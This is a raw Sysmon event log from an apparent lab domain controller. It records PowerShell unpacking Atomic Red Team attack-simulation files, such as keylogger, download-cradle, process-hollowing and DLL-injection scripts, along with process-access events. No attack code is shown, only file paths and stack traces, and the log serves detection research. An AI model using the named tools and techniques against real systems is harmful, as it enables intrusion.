11241100x80000000000000003820Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.923{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1114.001\src\Get-Inbox.ps12020-10-09 09:10:49.923 11241100x80000000000000003819Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.908{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1110.003\src\parse_net_users.bat2020-10-09 09:10:49.908 11241100x80000000000000003818Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localEXE2020-10-09 09:10:49.845{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1087.002\src\AdFind.exe2020-10-09 09:10:49.845 11241100x80000000000000003817Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.814{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1074.001\src\Discovery.bat2020-10-09 09:10:49.814 11241100x80000000000000003816Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.814{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1071.004\src\T1071-dns-domain-length.ps12020-10-09 09:10:49.814 11241100x80000000000000003815Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.798{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1071.004\src\T1071-dns-beacon.ps12020-10-09 09:10:49.798 11241100x80000000000000003814Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.751{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1059.005\src\sys_info.vbs2020-10-09 09:10:49.751 11241100x80000000000000003813Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.736{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1059.001\src\test.ps12020-10-09 09:10:49.736 11241100x80000000000000003812Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.736{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1059.001\src\Invoke-DownloadCradle.ps12020-10-09 09:10:49.736 11241100x80000000000000003811Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:49.720{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1056.004\src\x64\T1056.004.dll2020-10-09 09:10:49.720 11241100x80000000000000003810Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:49.720{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1056.004\src\Win32\T1056.004.dll2020-10-09 09:10:49.720 11241100x80000000000000003809Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.705{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1056.004\src\T1056.004\T1056.004.vcxproj2020-10-09 09:10:49.705 11241100x80000000000000003808Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.705{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1056.004\src\T1056.004.sln2020-10-09 09:10:49.705 11241100x80000000000000003807Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:49.705{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1056.004\bin\T1056.004x86.dll2020-10-09 09:10:49.705 11241100x80000000000000003806Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:49.689{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1056.004\bin\T1056.004x64.dll2020-10-09 09:10:49.689 11241100x80000000000000003805Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.689{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1056.001\src\Get-Keystrokes.ps12020-10-09 09:10:49.689 11241100x80000000000000003804Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:49.673{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1055\src\x64\T1055.dll2020-10-09 09:10:49.673 11241100x80000000000000003803Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:49.673{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1055\src\Win32\T1055.dll2020-10-09 09:10:49.673 11241100x80000000000000003802Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.658{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1055.012\src\Start-Hollow.ps12020-10-09 09:10:49.658 11241100x80000000000000003801Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:49.658{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1055.004\src\x64\T1055.dll2020-10-09 09:10:49.658 11241100x80000000000000003800Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:49.642{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1055.004\src\Win32\T1055.dll2020-10-09 09:10:49.642 11241100x80000000000000003799Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localEXE2020-10-09 09:10:49.642{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1055.004\bin\T1055.exe2020-10-09 09:10:49.642 11241100x80000000000000003798Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.564{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1036.003\src\T1036.003_test.bat2020-10-09 09:10:49.564 11241100x80000000000000003797Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.564{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1036.003\src\T1036.003_masquerading.vbs2020-10-09 09:10:49.564 11241100x80000000000000003796Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.564{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1036.003\src\T1036.003_masquerading.ps12020-10-09 09:10:49.564 11241100x80000000000000003795Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localEXE2020-10-09 09:10:49.548{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1036.003\bin\T1036.003.exe2020-10-09 09:10:49.548 11241100x80000000000000003794Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localEXE2020-10-09 09:10:49.533{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1027.004\bin\T1027.004_DynamicCompile.exe2020-10-09 09:10:49.533 11241100x80000000000000003793Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localEXE2020-10-09 09:10:49.455{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\atomics\T1014\bin\puppetstrings.exe2020-10-09 09:10:49.455 11241100x80000000000000003792Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.220{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\ARTifacts\Misc\Discovery.bat2020-10-09 09:10:49.220 11241100x80000000000000003791Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.220{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\ARTifacts\Labs\Webinar11062017-Labs.bat2020-10-09 09:10:49.220 11241100x80000000000000003790Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.220{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\ARTifacts\Initial_Access\generate-macro.ps12020-10-09 09:10:49.220 11241100x80000000000000003789Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.220{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\ARTifacts\Initial_Access\AtomicHTA.hta2020-10-09 09:10:49.220 11241100x80000000000000003788Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.205{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\ARTifacts\Chain_Reactions\qbot_infection_reaction.vbs2020-10-09 09:10:49.205 11241100x80000000000000003787Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.205{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\ARTifacts\Chain_Reactions\dragonstail_benign.ps12020-10-09 09:10:49.205 11241100x80000000000000003786Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.189{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\ARTifacts\Chain_Reactions\chain_reaction_Reactor.bat2020-10-09 09:10:49.189 11241100x80000000000000003785Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.189{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\ARTifacts\Chain_Reactions\chain_reaction_Plutonium.bat2020-10-09 09:10:49.189 11241100x80000000000000003784Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.189{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\ARTifacts\Chain_Reactions\chain_reaction_Fission.bat2020-10-09 09:10:49.189 11241100x80000000000000003783Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.189{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\ARTifacts\Chain_Reactions\chain_reaction_DragonsTail.ps12020-10-09 09:10:49.189 11241100x80000000000000003782Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.189{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\ARTifacts\Chain_Reactions\chain_reaction_DragonsTail.bat2020-10-09 09:10:49.189 11241100x80000000000000003781Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.189{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\ARTifacts\Chain_Reactions\chain_reaction_Cyclotron.bat2020-10-09 09:10:49.189 11241100x80000000000000003780Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.189{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\ARTifacts\Chain_Reactions\chain_reaction_Argonaut.ps12020-10-09 09:10:49.189 11241100x80000000000000003779Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localEXE2020-10-09 09:10:49.173{A5F018FF-2909-5F80-B800-000000007F01}4852C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\AtomicRedTeam\tmp\atomic-red-team-local-master\ARTifacts\Chain_Reactions\atomic-hello.exe2020-10-09 09:10:49.173 10341000x80000000000000003778Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.142{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-2919-5F80-C100-000000007F01}5016C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003777Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.142{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003776Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.142{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003775Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.142{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003774Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.142{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003773Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.142{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003772Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.142{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003771Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.142{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003770Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.142{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003769Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.142{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003768Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.142{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2919-5F80-C100-000000007F01}5016C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003767Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.142{A5F018FF-28CF-5F80-2F00-000000007F01}25282280C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2919-5F80-C100-000000007F01}5016C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003766Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:49.143{A5F018FF-2919-5F80-C100-000000007F01}5016C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT 